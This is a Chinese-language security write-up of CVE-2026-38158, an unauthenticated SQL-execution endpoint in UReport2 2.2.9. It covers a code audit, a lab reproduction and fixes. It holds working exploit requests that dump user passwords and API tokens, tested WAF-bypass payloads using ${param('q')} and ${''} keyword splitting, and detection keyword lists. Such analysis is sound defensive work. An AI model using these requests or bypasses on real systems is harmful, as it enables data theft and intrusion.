一句话概括:这不是"SQL 拼接写错了",而是把执行任意 SQL 做成了一个不需要登录的 HTTP 接口。

本文基于官方 com.bstek.ureport:ureport2-console:2.2.9 原始构件,从路由、分发、参数到 JDBC 执行逐层审计,并搭了一个可一键运行的 Maven 靶场完成复现;文末给出实测有效的 WAF 绕过方式、能力边界与修复方案。


一、漏洞档案

项目

内容

编号

CVE-2026-38158

类型

CWE-89 SQL 注入 / 未授权访问

CVSS 3.1

9.8(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

受影响版本

ureport v2.2.9 及更早

Maven 坐标

com.bstek.ureport:ureport2-console:2.2.9

入口

/ureport/datasource/previewData

鉴权

无(组件自身不带认证,历史部署普遍直接暴露)

官方补丁

无。Maven Central 上 2.2.9 为最终版本(2018-07 发布),上游已停止维护

公开时间

2026-07-16(NVD)/ 2026-07-17(阿里云漏洞库)

一句话背景:UReport2 是国内使用很广的纯 Java 报表引擎(Spring 架构、类 Excel 设计器)。它的"设计器"是一个 Web 控制台,数据源预览功能需要把设计中的 SQL 发到服务端执行——于是就有了一个"收 SQL 就执行"的接口,而它没有任何认证。

二、为什么是 9.8

  • 网络可达:/ureport/* 是 Web 应用的标准对外路径,不需要任何前置条件;

  • 无需认证 / 无需交互:PR:N、UI:N,浏览器地址栏直接打;

  • 结果直接回显:不是盲注。previewData 会把 ResultSet 序列化成 JSON 返回,字段名、数据一并给出,一次请求就能拖表;

  • 影响完整:能读的库包括业务库、账号库;配合 type=jdbc 还能让应用服务器去连任意地址。

一句话:它等价于给数据库开了一个不需要密码的 HTTP 查询窗口。

三、搭一个可复现的靶场

为了做"代码审计 + 动态验证",我用官方未修改的 2.2.9 构件搭了一个最小的 Maven 工程:

cve-2026-38158-ureport/
├── pom.xml
├── docs/source/                 # 2.2.9 原版关键源码(行号与本文一致)
├── src/main/java/lab/cve/ureport/
│   ├── UreportLabApplication.java   # 装配 ureport 官方 Spring 上下文
│   ├── UreportServletConfig.java    # UReportServlet -> /ureport/*
│   └── LabBuildinDatasource.java    # 模拟宿主注册的 buildin 数据源
├── src/main/resources/
│   ├── ureport-core-context.xml     # 来自 ureport2-core,未改动
│   ├── ureport-console-context.xml  # 注册 console 的 ServletAction Bean
│   ├── schema.sql / data.sql        # 内存 H2 假数据
└── poc/poc.ps1

核心依赖只有三个,版本就是 CVE 点名的版本:

<dependency>
  <groupId>com.bstek.ureport</groupId>
  <artifactId>ureport2-console</artifactId>
  <version>2.2.9</version>
</dependency>
<dependency>
  <groupId>org.springframework.boot</groupId>
  <artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
  <groupId>com.h2database</groupId>
  <artifactId>h2</artifactId>
  <scope>runtime</scope>
</dependency>

Spring 侧把官方上下文和 console Bean 一起导入,再把 Servlet 挂到 /ureport/*:

@SpringBootApplication
@PropertySource("classpath:ureport.properties")
@ImportResource({"classpath:ureport-core-context.xml",
                 "classpath:ureport-console-context.xml"})
public class UreportLabApplication { ... }
@Bean
public ServletRegistrationBean<UReportServlet> ureportServlet() {
    return new ServletRegistrationBean<>(new UReportServlet(), "/ureport/*");
}

ureport-console-context.xml 里注册的 action(这一段在真实 WAR 部署里同样需要,官方 jar 只带类不带 Bean 定义):

<bean id="ureport.datasourceServletAction"
      class="com.bstek.ureport.console.designer.DatasourceServletAction"/>
<bean id="ureport.designerServletAction"
      class="com.bstek.ureport.console.designer.DesignerServletAction">
    <property name="reportRender" ref="ureport.reportRender"/>
    <property name="reportParser" ref="ureport.reportParser"/>
</bean>

启动后访问 http://127.0.0.1:18080/ureport/designer,设计器直接打开——没有登录框,这就是"未授权"的第一现场。

四、代码审计:从 URI 到 JDBC

4.1 入口:一个只做分发的 Servlet

UReportServlet 是唯一入口。init() 时把容器里所有 ServletAction Bean 按 url() 收进 actionMap:

// UReportServlet.java:44-55
public void init(ServletConfig config) throws ServletException {
    WebApplicationContext applicationContext = getWebApplicationContext(config);
    Collection<ServletAction> handlers = applicationContext.getBeansOfType(ServletAction.class).values();
    for (ServletAction handler : handlers) {
        actionMap.put(handler.url(), handler);
    }
}

service() 只做 URI 截断和查表,没有任何 session / 角色 / 来源校验:

// UReportServlet.java:61-97
String path = req.getContextPath() + URL;          // URL = "/ureport"
String targetUrl = uri.substring(path.length());   // "/datasource/previewData"
int slashPos = targetUrl.indexOf("/", 1);
if (slashPos > -1) {
    targetUrl = targetUrl.substring(0, slashPos);  // "/datasource"
}
ServletAction targetHandler = actionMap.get(targetUrl);
...
targetHandler.execute(req, resp);

ServletAction.execute() 再用 retriveMethod() 取 URI 尾部的方法名,反射调用:

// BaseServletAction.java:85-104
Method method = this.getClass().getMethod(methodName,
        new Class<?>[]{HttpServletRequest.class, HttpServletResponse.class});
method.invoke(this, new Object[]{req, resp});

所以 /ureport/datasource/previewData 会精确落到
DatasourceServletAction.previewData(HttpServletRequest, HttpServletResponse)。

审计结论 1:鉴权不是"某处漏了判断",而是整个组件根本没有鉴权模型。
是否安全完全取决于宿主有没有在 /ureport/* 前面加 Filter——而官方示例没有要求。

4.2 漏洞函数:previewData

// DatasourceServletAction.java:221-236
public void previewData(HttpServletRequest req, HttpServletResponse resp) ... {
    String sql = req.getParameter("sql");            // ① 完全来自请求
    String parameters = req.getParameter("parameters");
    Map<String, Object> map = buildParameters(parameters);
    sql = parseSql(sql, map);                        // ② ${...} 表达式替换
    Connection conn = null;
    try {
        conn = buildConnection(req);                 // ③ 连接也由请求决定
        ...
        NamedParameterJdbcTemplate jdbc = new NamedParameterJdbcTemplate(dataSource);
        list = jdbc.queryForList(sql, map);          // ④ 直接执行

四个关键点:

  1. sql 直接取自 request;

  2. parseSql() 只负责处理 ${...} 表达式和 :param 命名参数,不做任何 SQL 校验(它也不该做——它以为只是设计器在用);

  3. buildConnection(req) 决定连哪个库;

  4. queryForList() 把 SQL 丢给 JDBC 执行,结果序列化成 JSON 返回。

完整攻击链:

GET /ureport/datasource/previewData?type=buildin&name=lab&sql=...
  └─ UReportServlet.service()                     ← 无鉴权、无 session 校验
       └─ actionMap["/datasource"].execute()
            └─ retriveMethod() → invokeMethod("previewData")
                 └─ previewData()
                      ├─ req.getParameter("sql")        ← 攻击者 SQL
                      ├─ parseSql()                     ← ${...} 表达式求值
                      ├─ buildConnection(req)           ← buildin / 任意 jdbc
                      └─ queryForList(sql) → JSON 回显

4.3 命名参数救不了它

很多同学看到 NamedParameterJdbcTemplate 会以为"用了预编译,安全"。这里必须澄清:

命名参数机制只把 SQL 里的 :name 占位符替换成绑定值。SQL 的文本结构本身仍然由调用方完全控制。

这和"业务代码把用户输入拼进 WHERE 条件"不是一回事。这里的 SQL 整体是入参,${param("q")} 这类表达式还会在服务端被求值后原样拼进 SQL(见 4.5),参数化对它没有任何防御意义。

4.4 连接参数同样来自请求

// DatasourceServletAction.java:376-395
private Connection buildConnection(HttpServletRequest req) throws Exception {
    String type = req.getParameter("type");
    if (type.equals("jdbc")) {
        String username = req.getParameter("username");
        String password = req.getParameter("password");
        String driver   = req.getParameter("driver");
        String url      = req.getParameter("url");
        Class.forName(driver);
        return DriverManager.getConnection(url, username, password);
    } else {
        String name = req.getParameter("name");
        return Utils.getBuildinConnection(name);
    }
}

type=buildin 用宿主已注册的数据源(正常业务路径);type=jdbc 则完全由请求指定驱动和 URL——攻击者可以让应用服务器去连任意可达的数据库。

4.5 表达式求值:把 SQL 拼装搬到服务端

// DatasourceServletAction.java:272-294
private String parseSql(String sql, Map<String, Object> parameters) {
    sql = sql.trim();
    Context context = new Context(applicationContext, parameters);
    if (sql.startsWith(ExpressionUtils.EXPR_PREFIX) && sql.endsWith(ExpressionUtils.EXPR_SUFFIX)) {
        sql = sql.substring(2, sql.length() - 1);      // 整条 SQL 就是一个表达式
        Expression expr = ExpressionUtils.parseExpression(sql);
        sql = executeSqlExpr(expr, context);
        return sql;
    } else {
        // 逐个替换 ${...}
        Pattern pattern = Pattern.compile("\\$\\{.*?\\}");
        ...
        sqlForUse = sqlForUse.replace(substr, result);
    }
}

executeSqlExpr() 把表达式结果 toString() 后直接替换,还会去掉反斜杠:

// DatasourceServletAction.java:296-309
String s = obj.toString();
s = s.replaceAll("\\\\", "");
sqlForUse = s;

这意味着:字符串字面量的引号会丢失,表达式结果以"裸文本"进入 SQL。这个语义后面会变成一个很好的 WAF 绕过点。

五、复现

5.1 枚举库结构

设计器能执行 SQL,攻击者也就能执行。先用 information_schema 摸一下目标库有哪些表:

GET /ureport/datasource/previewData?type=buildin&name=lab
    &sql=select table_name from information_schema.tables

返回的 data 里直接列出 37 张表,包括业务表 USERS、SECRET_DOCUMENTS。注意字段名是大写——这是 H2 的标识符规范,不影响结论。

5.2 拖取凭据

拿到表名后,直接 select 敏感列:

GET /ureport/datasource/previewData?type=buildin&name=lab
    &sql=select username,password,api_token,salary from users

响应(节选):

{"data":[
  {"USERNAME":"admin","PASSWORD":"S3cr3t-Admin!","API_TOKEN":"tok_admin_9f2c41","SALARY":32500.00},
  {"USERNAME":"alice","PASSWORD":"alice-P@ssw0rd","API_TOKEN":"tok_alice_77ab02","SALARY":12800.00},
  ...
 ],"fields":["USERNAME","PASSWORD","API_TOKEN","SALARY"],"total":4,"currentTotal":4}

没有盲注、没有布尔判断、没有时间盲注——字段名和数据一次性全给。这就是它比普通 SQL 注入更危险的地方。

5.3 自带 JDBC 连接

type=buildin 需要知道宿主的数据源名;type=jdbc 不需要,请求里自带驱动和 URL:

GET /ureport/datasource/previewData?type=jdbc
    &driver=org.h2.Driver
    &url=jdbc:h2:mem:ureport_lab;DB_CLOSE_DELAY=-1
    &username=sa&password=
    &sql=select * from secret_documents

这条链路在真实环境里意味着:应用服务器可以成为内网数据库探测器(SSRF),也可以被指向攻击者控制的恶意 JDBC 服务端,进而利用各驱动的反序列化 gadget(如 MySQL autoDeserialize、queryInterceptors,H2 INIT=RUNSCRIPT)。

5.4 一键脚本

把上面几步串成脚本,输出如下:

六、进阶:实测有效的 WAF 绕过

很多单位会在网关加 WAF,规则针对 sql 参数里的 select、union、information_schema 等关键字。这个漏洞有两个现成的绕过面,均已在本靶场验证。

6.1 把整条 SQL 藏进 parameters

parseSql 在 sql 以 ${ 开头、} 结尾时,会把整个参数当作表达式求值。而表达式函数 param("q") 的值来自 parameters JSON:

http://127.0.0.1:18080/ureport/datasource/previewData?type=buildin&name=lab&sql=%24%7Bparam(%22q%22)%7D&parameters=%5B%7B%22name%22:%22q%22,%22type%22:%22String%22,%22defaultValue%22:%22select%20username,password,api_token,salary%20from%20users%22%7D%5D

此时 sql 参数里没有任何 SQL 关键字,只有 ${param("q")}。如果 WAF 只检查 sql 而不解析 parameters,整条规则形同虚设。

6.2 关键字拆分

表达式求值后是纯文本替换,空表达式可以当作"注释"使用:

sql=s${""}elect username from users where id=1

实测返回 admin。同理可拆 inf${""}ormation_schema、un${""}ion。

6.3 附带发现:字符串引号会丢失

${"abc"} 求值后变成 abc(引号被 toString() 丢掉),因此不能用它构造字符串字面量,但可以构造标识符。这一点在写 PoC 时容易踩坑,也是理解该表达式语义的关键。

建议检测方:不要只看 sql,要同时检查 parameters 的 defaultValue;并且对 ${...} 表达式出现频率做告警。

七、能力边界:别把"任意 SQL"说过头

写漏洞文章最忌讳夸大。这个点我专门做了验证:previewData 最终走的是

jdbc.queryForList(sql, map);

Spring 内部使用 PreparedStatement.executeQuery(),只接受返回 ResultSet 的语句。直接执行 create table 会被驱动拒绝:

Method is only allowed for a query. Use execute or executeUpdate instead of executeQuery;
SQL statement: create table pwned_evidence(id int) [90002-214]

所以准确表述是:

能力

结论

任意读

✅ 成立,且结果直接回显,无需盲注

任意写(DML/DDL)

❌ 该端点不通(executeQuery 限制)

文件读写

⚠️ 取决于数据库函数与权限:MySQL LOAD_FILE() 读、SELECT ... INTO OUTFILE 写(需 FILE 权限、secure_file_priv 允许)

内网横向 / SSRF

✅ type=jdbc 可让应用连任意可达地址

RCE

⚠️ 需借助恶意 JDBC 服务端 + 对应驱动 gadget,不是"一条 SQL 直接命令执行"

另外,type=jdbc 选择驱动时 Class.forName(driver) 只能加载 classpath 上已有的驱动,不能任意加载本地 jar——这也是一个常被写错的边界。

八、检测与应急

日志侧:ureport 自带调试开关,ureport.debug=true 时会打印每一条要执行的 SQL:

DESIGN SQL:select username,password,api_token,salary from users

正常业务只会出现设计器里配置过的 SQL;出现 information_schema、union、load_file、into outfile、sleep(,或短时间大量不同 SQL,应直接告警。

流量侧:重点看 POST/GET /ureport/datasource/previewData、/ureport/datasource/buildFields、/ureport/datasource/testConnection,以及 type=jdbc 搭配非常规 url 的请求。

资产侧:排查暴露在公网的 /ureport/designer(能直接打开设计器页面即中招),以及响应里带 ureport-asserts 静态资源的站点。

应急:在网关/WAF 直接封禁 /ureport/datasource/* 与 /ureport/designer;数据库侧立即轮换可能泄露的凭据。

九、修复建议

上游已停止维护,没有官方补丁,只能部署侧收敛。

9.1 最小改动:给 /ureport/* 强制认证

@Component
public class UreportAuthFilter extends OncePerRequestFilter {
    @Override
    protected void doFilterInternal(HttpServletRequest req, HttpServletResponse resp,
                                    FilterChain chain) throws ServletException, IOException {
        if (!req.getRequestURI().startsWith(req.getContextPath() + "/ureport/")) {
            chain.doFilter(req, resp);
            return;
        }
        HttpSession session = req.getSession(false);
        if (session == null || !"ADMIN".equals(session.getAttribute("role"))) {
            resp.sendError(HttpServletResponse.SC_FORBIDDEN);
            return;
        }
        chain.doFilter(req, resp);
    }
}

注意:只拦 /designer 不够,/datasource/*、/preview、/excel|pdf|word 都要一起拦。

9.2 更彻底:生产不部署 ureport2-console

ureport2-console 是"设计器 + 预览 + 导出"整套控制台,攻击面远大于渲染引擎。如果只需要展示报表,用 ureport2-core 自己包一个受控入口,不接受任何 sql/driver/url 参数,报表名也做白名单。

9.3 纵深防御

  • 数据库账号只读、无 DDL、无 FILE 权限、限制 secure_file_priv;

  • 应用出站访问控制,禁止连任意 JDBC 目标(尤其内网);

  • 报表服务与核心业务库隔离,单独账号、单独实例;

  • 保留 ureport.debug 日志并接入 SIEM。

十、时间线与参考

  • 2026-07-16:CVE 公开,CVSS 9.8

  • 2026-07-17:阿里云漏洞库收录,标注"POC 已公开、没有补丁"

  • 至今:Maven Central 最高版本仍为 2.2.9(2018-07-31),无修复版本

参考:

  1. https://avd.aliyun.com/detail?id=AVD-2026-38158

  2. https://security.snyk.io/vuln/SNYK-JAVA-COMBSTEKUREPORT-18748794

  3. https://vuldb.com/vuln/379660

  4. 上游源码:https://github.com/youseries/ureport


本文所述环境为本地内存 H2 靶场,所有"敏感数据"均为假数据;复现仅用于授权测试与代码审计教学。